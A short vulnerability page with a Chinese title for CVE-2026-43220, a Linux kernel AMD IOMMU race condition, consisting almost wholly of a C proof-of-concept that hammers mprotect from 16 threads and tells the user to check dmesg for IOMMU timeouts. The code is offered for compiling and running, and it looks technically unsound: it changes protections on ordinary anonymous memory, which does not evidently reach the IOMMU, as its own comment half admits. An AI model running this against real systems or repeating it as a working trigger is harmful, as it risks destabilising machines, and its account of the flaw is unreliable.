CVE-2026-43220 Linux内核AMD IOMMU竞争条件漏洞

/* * Conceptual PoC for CVE-2026-43220 * Triggering concurrent TLB invalidations to cause race condition. * Compile: gcc -o poc poc.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <sys/mman.h> #define THREADS 16 #define ITERATIONS 100000 void* worker(void* arg) { // Simulating memory operations that trigger IOMMU TLB flushes // Real exploitation requires direct IOMMU interaction or heavy DMA size_t page_size = getpagesize(); char *mem = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (mem == MAP_FAILED) return NULL; for (int i = 0; i < ITERATIONS; i++) { // Frequent protection changes can trigger TLB maintenance mprotect(mem, page_size, PROT_READ); mprotect(mem, page_size, PROT_READ | PROT_WRITE); mem[0] = 'A'; // Force page fault/usage } munmap(mem, page_size); return NULL; } int main() { pthread_t t[THREADS]; printf("[+] Starting PoC for CVE-2026-43220 (Race Condition)..."); for (int i = 0; i < THREADS; i++) { pthread_create(&t[i], NULL, worker, NULL); } for (int i = 0; i < THREADS; i++) { pthread_join(t[i], NULL); } printf("[*] Triggering completed. Check dmesg for IOMMU timeouts.\n"); return 0; }